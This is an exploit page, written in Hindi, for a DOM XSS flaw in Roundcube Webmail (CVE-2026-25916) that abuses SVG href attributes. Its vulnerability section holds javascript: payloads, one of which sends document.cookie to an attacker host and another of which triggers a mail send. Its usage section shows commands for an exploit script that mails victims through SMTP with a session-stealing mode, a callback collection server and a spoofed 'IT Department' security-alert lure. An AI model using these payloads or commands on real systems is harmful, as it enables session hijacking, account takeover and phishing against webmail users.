CVE-2026-25916: Roundcube Webmail DOM XSS एक्सप्लॉइट

📋 एक्सप्लॉइट जानकारी

एक्सप्लॉइट शीर्षक: Roundcube Webmail DOM XSS via SVG href (CVE-2026-25916)
लेखक: Mohammed Idrees Banyamer
संपर्क: GitHub @mbanyamer | Instagram @banyamer_security
देश: जॉर्डन
दिनांक: 9 फरवरी, 2026
CVE: CVE-2026-25916
प्रकार: DOM-आधारित क्रॉस-साइट स्क्रिप्टिंग (XSS)
प्लेटफ़ॉर्म: वेब एप्लिकेशन
परीक्षण किया गया: Roundcube 1.6.8, Ubuntu 22.04
CVSS स्कोर: 6.1 (मध्यम)

🚨 कानूनी अस्वीकरण

⚠️ चेतावनी: यह एक्सप्लॉइट केवल शैक्षिक और अधिकृत परीक्षण उद्देश्यों के लिए है।
केवल उन्हीं सिस्टम पर उपयोग करें जिनके स्वामी आप हैं या जिनके परीक्षण के लिए आपके पास स्पष्ट लिखित अनुमति है।
लेखक किसी भी दुरुपयोग या अवैध गतिविधियों के लिए ज़िम्मेदार नहीं है।

📖 भेद्यता विवरण

Roundcube Webmail के 1.6.9 से पहले के संस्करणों में SVG हैंडलिंग में DOM-आधारित XSS भेद्यता मौजूद है। एप्लिकेशन SVG तत्वों में href और xlink:href विशेषताओं को ठीक से सैनिटाइज़ करने में विफल रहता है, जिससे विशेष रूप से तैयार किए गए ईमेल के माध्यम से JavaScript निष्पादन संभव हो जाता है।

प्रभावित संस्करण: Roundcube Webmail < 1.6.9
समाधान: संस्करण 1.6.9 (कमिट 26d7677)
CWE: CWE-79 - वेब पेज जनरेशन के दौरान इनपुट का अनुचित न्यूट्रलाइज़ेशन
हमला वेक्टर: ईमेल के माध्यम से रिमोट
प्रभाव: सत्र अपहरण, खाता अधिग्रहण, डेटा बहिष्करण

🔧 तकनीकी विवरण

यह भेद्यता rcube_washtml.php में मौजूद है जहाँ SVG तत्वों में href विशेषताओं को ठीक से मान्य नहीं किया गया था:

<!-- संवेदनशील SVG तत्व -->
<use href="javascript:alert(document.cookie)">
<image xlink:href="javascript:fetch('https://attacker.com/steal?cookie='+document.cookie)">
<a xlink:href="javascript:fetch('/?_task=mail&_action=send',{method:'POST',body:'[email protected]'})">

```bash
python3 cve-2026-25916.py -s smtp.gmail.com -p 587 -u [email protected] -w your_password -r [email protected]

python3 cve-2026-25916.py \
  -s smtp.gmail.com \
  -p 587 \
  -u [email protected] \
  -w app_password \
  -r [email protected] \
  -t session_steal \
  --callback https://yourserver.com/collect \
  --subject "Security Alert" \
  --from-name "IT Department"